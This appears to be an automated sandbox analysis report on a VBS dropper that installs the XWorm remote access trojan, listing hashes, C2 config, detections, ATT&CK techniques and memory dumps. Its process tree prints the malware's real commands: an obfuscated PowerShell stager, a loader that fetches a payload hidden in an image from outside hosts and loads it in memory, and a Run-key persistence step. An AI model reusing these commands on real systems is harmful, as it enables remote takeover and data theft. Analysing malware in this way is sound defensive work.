xworm | 00ecde85fae279e6ab7417b138a21b77d8ee05174388d008f902b0e98370f17c

Analysis

max time kernel
119s
max time network
152s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
24/02/2024, 08:47

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Report Analysis Logs

General

Target

receipt.vbs
Size

566B
MD5

686860d977e6310d41860c16a97f2d4a
SHA1

faa79b6a4577760a3bfcdd42ee07bba6985cbacb
SHA256

00ecde85fae279e6ab7417b138a21b77d8ee05174388d008f902b0e98370f17c
SHA512

c51f34fc6a96bcb062d6da319b91419dead953055bbb8227ac7942f4525b8a7d349d3422040e21bd0ca3e2097838c5645cd25fe6ea66a353bf9fb80ad55129f3

Score

10^/10

xworm persistence rat trojan

Malware Config

Extracted

Family

xworm

Version

3.1

xwv5group7001.duckdns.org:7001

Mutex

mrkh245537gVoEKF

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 5 IoCs

resource	yara_rule
behavioral1/memory/2172-153-0x0000000000400000-0x000000000040E000-memory.dmp	family_xworm
behavioral1/memory/2172-155-0x0000000000400000-0x000000000040E000-memory.dmp	family_xworm
behavioral1/memory/2172-158-0x0000000000400000-0x000000000040E000-memory.dmp	family_xworm
behavioral1/memory/2172-162-0x0000000000400000-0x000000000040E000-memory.dmp	family_xworm
behavioral1/memory/2172-160-0x0000000000400000-0x000000000040E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 6 IoCs

flow	pid	Process
2	2060	WScript.exe
5	2060	WScript.exe
7	2712	powershell.exe
9	2712	powershell.exe
10	2712	powershell.exe
12	2712	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Windows\CurrentVersion\Run\Path = "C:\\ProgramData\\Name_File.vbs"	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
1	pastebin.com
2	pastebin.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2712 set thread context of 2172	2712	powershell.exe	33

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	2	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2564	powershell.exe
2712	powershell.exe
640	powershell.exe
2172	AddInProcess32.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2564	powershell.exe
Token: SeDebugPrivilege	2712	powershell.exe
Token: SeDebugPrivilege	640	powershell.exe
Token: SeDebugPrivilege	2172	AddInProcess32.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2172	AddInProcess32.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2060 wrote to memory of 2564	2060	WScript.exe	28
PID 2060 wrote to memory of 2564	2060	WScript.exe	28
PID 2060 wrote to memory of 2564	2060	WScript.exe	28
PID 2564 wrote to memory of 2712	2564	powershell.exe	30
PID 2564 wrote to memory of 2712	2564	powershell.exe	30
PID 2564 wrote to memory of 2712	2564	powershell.exe	30
PID 2712 wrote to memory of 640	2712	powershell.exe	31
PID 2712 wrote to memory of 640	2712	powershell.exe	31
PID 2712 wrote to memory of 640	2712	powershell.exe	31
PID 2712 wrote to memory of 2172	2712	powershell.exe	33
PID 2712 wrote to memory of 2172	2712	powershell.exe	33
PID 2712 wrote to memory of 2172	2712	powershell.exe	33
PID 2712 wrote to memory of 2172	2712	powershell.exe	33
PID 2712 wrote to memory of 2172	2712	powershell.exe	33
PID 2712 wrote to memory of 2172	2712	powershell.exe	33
PID 2712 wrote to memory of 2172	2712	powershell.exe	33
PID 2712 wrote to memory of 2172	2712	powershell.exe	33
PID 2712 wrote to memory of 2172	2712	powershell.exe	33

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\receipt.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2060
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTrecwBoDgTreHUDgTreZgBmDgTreGwDgTreZQBkDgTreEwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBHDgTreGUDgTredDgTreDgTretDgTreFIDgTreYQBuDgTreGQDgTrebwBtDgTreCDgTreDgTreLQBJDgTreG4DgTrecDgTreB1DgTreHQDgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTrecgBlDgTreHQDgTredQByDgTreG4DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCDgTreDgTrefQDgTre7DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreQDgTreDgTreoDgTreCcDgTreaDgTreB0DgTreHQDgTrecDgTreBzDgTreDoDgTreLwDgTrevDgTreHUDgTrecDgTreBsDgTreG8DgTreYQBkDgTreGQDgTreZQBpDgTreG0DgTreYQBnDgTreGUDgTrebgBzDgTreC4DgTreYwBvDgTreG0DgTreLgBiDgTreHIDgTreLwBpDgTreG0DgTreYQBnDgTreGUDgTrecwDgTrevDgTreDDgTreDgTreMDgTreDgTre0DgTreC8DgTreNwDgTrezDgTreDkDgTreLwDgTreyDgTreDIDgTreNwDgTrevDgTreG8DgTrecgBpDgTreGcDgTreaQBuDgTreGEDgTrebDgTreDgTrevDgTreG4DgTreZQB3DgTreF8DgTreaQBtDgTreGEDgTreZwBlDgTreC4DgTreagBwDgTreGcDgTrePwDgTrexDgTreDcDgTreMDgTreDgTre3DgTreDgDgTreMgDgTre2DgTreDIDgTreMgDgTreyDgTreCcDgTreLDgTreDgTregDgTreCcDgTreaDgTreB0DgTreHQDgTrecDgTreDgTre6DgTreC8DgTreLwDgTre0DgTreDUDgTreLgDgTre3DgTreDQDgTreLgDgTrexDgTreDkDgTreLgDgTre4DgTreDQDgTreLwB4DgTreGEDgTrebQBwDgTreHDgTreDgTreLwBiDgTreGsDgTrecDgTreDgTrevDgTreHYDgTreYgBzDgTreF8DgTrebgBvDgTreHYDgTrebwBfDgTreG4DgTreZQB3DgTreF8DgTreaQBtDgTreGEDgTreZwBlDgTreC4DgTreagBwDgTreGcDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTre7DgTreCDgTreDgTreaQBmDgTreCDgTreDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTretDgTreG4DgTreZQDgTregDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTrepDgTreCDgTreDgTreewDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFQDgTreZQB4DgTreHQDgTreLgBFDgTreG4DgTreYwBvDgTreGQDgTreaQBuDgTreGcDgTreXQDgTre6DgTreDoDgTreVQBUDgTreEYDgTreODgTreDgTreuDgTreEcDgTreZQB0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTregDgTreD0DgTreIDgTreDgTrenDgTreDwDgTrePDgTreBCDgTreEEDgTreUwBFDgTreDYDgTreNDgTreBfDgTreEUDgTreTgBEDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreGUDgTreIDgTreDgTrewDgTreCDgTreDgTreLQBhDgTreG4DgTreZDgTreDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreHQDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreKQDgTregDgTreHsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreC4DgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreOwDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreDsDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreFMDgTredQBiDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCwDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCkDgTreOwDgTregDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreEMDgTrebwBuDgTreHYDgTreZQByDgTreHQDgTreXQDgTre6DgTreDoDgTreRgByDgTreG8DgTrebQBCDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreUgBlDgTreGYDgTrebDgTreBlDgTreGMDgTredDgTreBpDgTreG8DgTrebgDgTreuDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQBdDgTreDoDgTreOgBMDgTreG8DgTreYQBkDgTreCgDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreLgBHDgTreGUDgTredDgTreBUDgTreHkDgTrecDgTreBlDgTreCgDgTreJwBQDgTreFIDgTreTwBKDgTreEUDgTreVDgTreBPDgTreEEDgTreVQBUDgTreE8DgTreTQBBDgTreEMDgTreQQBPDgTreC4DgTreVgBCDgTreC4DgTreSDgTreBvDgTreG0DgTreZQDgTrenDgTreCkDgTreOwDgTregDgTreCQDgTrebQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreC4DgTreRwBlDgTreHQDgTreTQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreKDgTreDgTrenDgTreFYDgTreQQBJDgTreCcDgTreKQDgTreuDgTreEkDgTrebgB2DgTreG8DgTreawBlDgTreCgDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCwDgTreIDgTreBbDgTreG8DgTreYgBqDgTreGUDgTreYwB0DgTreFsDgTreXQBdDgTreCDgTreDgTreKDgTreDgTrenDgTreGUDgTreYwDgTrezDgTreDQDgTreOQDgTre5DgTreGEDgTreZgDgTre0DgTreGYDgTreMQDgTre5DgTreC0DgTreZQBmDgTreGEDgTreYgDgTretDgTreDIDgTreOQDgTre0DgTreDQDgTreLQBmDgTreGQDgTreZQBhDgTreC0DgTreMwDgTre0DgTreDkDgTreMwBmDgTreDEDgTreZDgTreDgTrexDgTreD0DgTrebgBlDgTreGsDgTrebwB0DgTreCYDgTreYQBpDgTreGQDgTreZQBtDgTreD0DgTredDgTreBsDgTreGEDgTrePwB0DgTreHgDgTredDgTreDgTreuDgTreDEDgTreMDgTreDgTreyDgTreDDgTreDgTreMwDgTreyDgTreG0DgTrecgBvDgTreHcDgTreeDgTreBuDgTreGgDgTrebwBqDgTreC8DgTrebwDgTrevDgTreG0DgTrebwBjDgTreC4DgTredDgTreBvDgTreHDgTreDgTrecwBwDgTreHDgTreDgTreYQDgTreuDgTreDYDgTreNDgTreDgTrewDgTreDMDgTreODgTreDgTretDgTreG0DgTreZQB0DgTreHMDgTreeQBzDgTreC0DgTreZQBjDgTreGkDgTrebwB2DgTreG4DgTreaQDgTrevDgTreGIDgTreLwDgTrewDgTreHYDgTreLwBtDgTreG8DgTreYwDgTreuDgTreHMDgTreaQBwDgTreGEDgTreZQBsDgTreGcDgTrebwBvDgTreGcDgTreLgBlDgTreGcDgTreYQByDgTreG8DgTredDgTreBzDgTreGUDgTrecwBhDgTreGIDgTreZQByDgTreGkDgTreZgDgTrevDgTreC8DgTreOgBzDgTreHDgTreDgTredDgTreB0DgTreGgDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreDEDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreEMDgTreOgBcDgTreFDgTreDgTrecgBvDgTreGcDgTrecgBhDgTreG0DgTreRDgTreBhDgTreHQDgTreYQBcDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBODgTreGEDgTrebQBlDgTreF8DgTreRgBpDgTreGwDgTreZQDgTrenDgTreCwDgTreJwBBDgTreGQDgTreZDgTreBJDgTreG4DgTreUDgTreByDgTreG8DgTreYwBlDgTreHMDgTrecwDgTrezDgTreDIDgTreJwDgTresDgTreCcDgTreJwDgTrepDgTreCkDgTrefQDgTregDgTreH0DgTre';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2564
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://uploaddeimagens.com.br/images/004/739/227/original/new_image.jpg?1707826222', 'http://45.74.19.84/xampp/bkp/vbs_novo_new_image.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('ec3499af4f19-efab-2944-fdea-3493f1d1=nekot&aidem=tla?txt.102032mrowxnhoj/o/moc.topsppa.64038-metsys-eciovni/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth' , '1' , 'C:\ProgramData\' , 'Name_File','AddInProcess32',''))} }"
    3⤵
    - Blocklisted process makes network request
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2712
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\ProgramData\Name_File.vbs
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:640
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:2172

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
c484ea178015f2d06400e3bd4ac30925

SHA1
ece30eaa79938aa85322b4012683b92a68a48300

SHA256
390108aed22054d49524bfedfaf1f759f99d5f03434e597dc34242be778544bf

SHA512
352ec77111d26c1e72bd229eaa72bdbfbd0c1a40cf757efe789d4e2d295db458379c5ee083e8d5ccbdc0058711457178d598aae942546a158ba6fc8f1f36bb78

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
3844f30e6796edd786a4e569ecc1cf03

SHA1
c928a2497b501950ef2281a194465becdeecf27c

SHA256
45a0b14118755b8fc1d9dbea84ee2078122e92bf13106f7654b01deaab8ff59c

SHA512
341b927a097b1aeb707306e62b17320b671574640b893dcc819a33733a2457fa9141c97aebebd91d4927511b9a18980ecb9493c1699bf7204672f04c8d9c8166

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab258C.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar259F.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
f0ec7b008594612d92b3c75ff0d232ab

SHA1
0971950e9c88566ee1bd0d46984ba78f068221d2

SHA256
d8f99dce6bf4c2cc44540cd1472ce152bbf736d823e3bf8ed2c7f2fd3654ca59

SHA512
5dcc3329040d1ee04e2218b02d1af93fa0737e6f12d5e2592cbaf236476efa310384cb09bc1b03d79d547af477837029ef6a5727b3a25876d1cce4659bd57c31

Download Submit
memory/640-148-0x000007FEF5D20000-0x000007FEF66BD000-memory.dmp

Filesize
9.6MB

Download
memory/640-142-0x000007FEF5D20000-0x000007FEF66BD000-memory.dmp

Filesize
9.6MB

Download
memory/640-143-0x0000000002B30000-0x0000000002BB0000-memory.dmp

Filesize
512KB

Download
memory/640-144-0x0000000002B30000-0x0000000002BB0000-memory.dmp

Filesize
512KB

Download
memory/640-145-0x0000000002B30000-0x0000000002BB0000-memory.dmp

Filesize
512KB

Download
memory/640-146-0x0000000002B30000-0x0000000002BB0000-memory.dmp

Filesize
512KB

Download
memory/2172-166-0x0000000074770000-0x0000000074E5E000-memory.dmp

Filesize
6.9MB

Download
memory/2172-153-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/2172-151-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/2172-149-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/2172-155-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/2172-167-0x00000000049F0000-0x0000000004A30000-memory.dmp

Filesize
256KB

Download
memory/2172-168-0x0000000074770000-0x0000000074E5E000-memory.dmp

Filesize
6.9MB

Download
memory/2172-160-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/2172-158-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/2172-157-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/2172-162-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/2172-169-0x00000000049F0000-0x0000000004A30000-memory.dmp

Filesize
256KB

Download
memory/2564-132-0x0000000002B30000-0x0000000002BB0000-memory.dmp

Filesize
512KB

Download
memory/2564-44-0x0000000002B30000-0x0000000002BB0000-memory.dmp

Filesize
512KB

Download
memory/2564-38-0x000000001B4C0000-0x000000001B7A2000-memory.dmp

Filesize
2.9MB

Download
memory/2564-39-0x0000000001E70000-0x0000000001E78000-memory.dmp

Filesize
32KB

Download
memory/2564-41-0x0000000002B30000-0x0000000002BB0000-memory.dmp

Filesize
512KB

Download
memory/2564-131-0x0000000002B30000-0x0000000002BB0000-memory.dmp

Filesize
512KB

Download
memory/2564-130-0x0000000002B30000-0x0000000002BB0000-memory.dmp

Filesize
512KB

Download
memory/2564-129-0x0000000002B30000-0x0000000002BB0000-memory.dmp

Filesize
512KB

Download
memory/2564-128-0x000007FEF5D20000-0x000007FEF66BD000-memory.dmp

Filesize
9.6MB

Download
memory/2564-40-0x000007FEF5D20000-0x000007FEF66BD000-memory.dmp

Filesize
9.6MB

Download
memory/2564-165-0x000007FEF5D20000-0x000007FEF66BD000-memory.dmp

Filesize
9.6MB

Download
memory/2564-42-0x000007FEF5D20000-0x000007FEF66BD000-memory.dmp

Filesize
9.6MB

Download
memory/2564-43-0x0000000002B30000-0x0000000002BB0000-memory.dmp

Filesize
512KB

Download
memory/2564-45-0x0000000002B30000-0x0000000002BB0000-memory.dmp

Filesize
512KB

Download
memory/2712-51-0x000007FEF5D20000-0x000007FEF66BD000-memory.dmp

Filesize
9.6MB

Download
memory/2712-52-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/2712-134-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/2712-53-0x000007FEF5D20000-0x000007FEF66BD000-memory.dmp

Filesize
9.6MB

Download
memory/2712-163-0x000007FEF5D20000-0x000007FEF66BD000-memory.dmp

Filesize
9.6MB

Download
memory/2712-54-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/2712-55-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/2712-133-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/2712-136-0x000000001AD50000-0x000000001B29C000-memory.dmp

Filesize
5.3MB

Download
memory/2712-135-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download